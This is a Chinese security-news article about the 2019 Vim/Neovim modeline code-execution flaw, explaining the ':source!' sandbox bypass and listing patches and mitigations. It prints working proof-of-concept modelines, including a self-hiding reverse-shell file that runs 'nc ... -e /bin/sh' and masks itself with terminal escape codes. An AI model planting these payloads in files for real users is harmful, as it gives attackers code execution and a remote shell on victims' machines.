微慑信息网

文本编辑器Vim/Neovim被曝任意代码执行漏洞

 

犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞。

 

Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

可以看见,他在notepad(记事本)程序下启动了一个cmd.exe 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

由于Ormandy是一名专业漏洞挖掘人员,并且还吸引了Zerodium的创始人出面评论,证实了黑客发现的问题类型并不罕见,因此也证实了该漏洞存在性极高。

 

而就在昨日,推上再现一则猛料,名为Arminius的安全研究员发现Vim/Neovim的本地代码执行漏洞。。

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

作为linux的上古神器级的文本编辑器,就这样曝任意代码执行漏洞并且还被披露poc了!

附上了github链接。(阅读原文跳转)

 

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

 

公布POC

 

第一种:

 

1、创建poc.txt

 

:!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source! %”):fdl=0:fdt=”

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

 

2、确保未禁用modeline选项(:set modeline)

 

3、在vim中打开该txt

 

vim poc.txt

 

然后系统会执行 uname -a

 

 

第二种,创建反弹shell

 

该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹shell。 为了隐藏攻击,文件将在打开时立即重写。

 

此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。

(而使用cat -v可以显示实际内容。)

 

shell.txt:

 

x1b[?7lx1bSNothing here.x1b:silent! w | call system(‘nohup nc 127.0.0.1 9999 -e /bin/sh &’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(‘set\ fde=x\ \|\ source\!\ \%’) fdl=0: x16x1b[1Gx16x1b[KNothing here.”x16x1b[D n

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

ps:我不是故意用记事本打开的。

 

视频演示

 

攻击者是右边,被攻击者是左边的机器

http://mpvideo.qpic.cn/tjg_3019350454_50000_e1bbad3353af47faaf8e9c3ed9a8aed5.f10002.mp4?dis_k=e6e58df75d3c4d0fc879932f913772ca&dis_t=1559783493

 

细节

 

命令行功能允许在文件的开头或结尾附近指定自定义编辑器选项。 

默认情况下启用此功能并应用于所有文件类型,包括plain .txt。 一个典型的模式:

 

/* vim: set textwidth=80 tabstop=8: */

 

出于安全原因,在modelines中只允许选项的子集,如果选项值包含表达式,则它在沙箱中执行:

 

出于安全原因,不支持除“set”之外的其他命令(有人可能会使用modelines创建特洛伊木马文本文件。 并非所有选择可以设定。 对于某些选项,设置了一个标志,以便在使用时使用|沙盒| 是有效的。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582

 

沙箱旨在防止副作用:

‘foldexpr’,’formatexpr’,’includeexpr’,’indentexpr’,’statusline’和’foldtext’选项可以在沙箱中评估。 这意味着你是保护免受这些具有令人讨厌的副作用的表达。 这给了一些从模式行设置这些选项时的安全性。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050

 

但是,:source!命令(使用bang [ !]修饰符)可用于绕过沙箱。它从给定文件中读取并执行命令,就像 手动键入,在沙箱离开后运行它们一样。

 

:so[urce]! {file}  

从{file}读取Vim命令。 这些是命令从您正常模式执行,就像您输入他们一样。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182

 

因此,可以简单地构建一个在沙箱外部运行代码的模式行:

 

# vim: set foldexpr=execute(‘:source! some_file’):

 

Neovim还需要一个额外的步骤,即execute():

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

 

在这里,assert_fails()也可以使用,也需要{cmd}参数:

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

 

以下模式行使用fold表达式来运行source! %以执行当前文件,该文件又uname -a || “(garbage)”作为shell命令执行:

 

:!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source! %”):fdl=0:fdt=”

 

此外,仅Neovim功能nvim_input()易受相同方法的影响,例如:

 

 

 vi:fen:fdm=expr:fde=nvim_input(“:terminal uname -a”):fdl=0

 

(过去,其他与模式相关的漏洞已在Vim中修补 – 请参阅CVE-2002-1377,CVE-2016-1248。)

 

 

补丁(建议还是打一下)

 

  • Vim补丁8.1.1365 https://github.com/vim/vim/commit/5357552
  • Neovim补丁(在v0.3.6中发布)https://github.com/neovim/neovim/pull/10082https://github.com/neovim/neovim/releases/tag/v0.3.6

 

除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。

 

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

实际上,工具类的本地代码执行漏洞也不止上面几兄弟,像此前的linux的less工具同样存在代码执行漏洞

 

科普:less 工具是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。

赞(0) 打赏
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » 文本编辑器Vim/Neovim被曝任意代码执行漏洞

评论 抢沙发

微慑信息网 专注工匠精神

微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例

访问我们联系我们

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册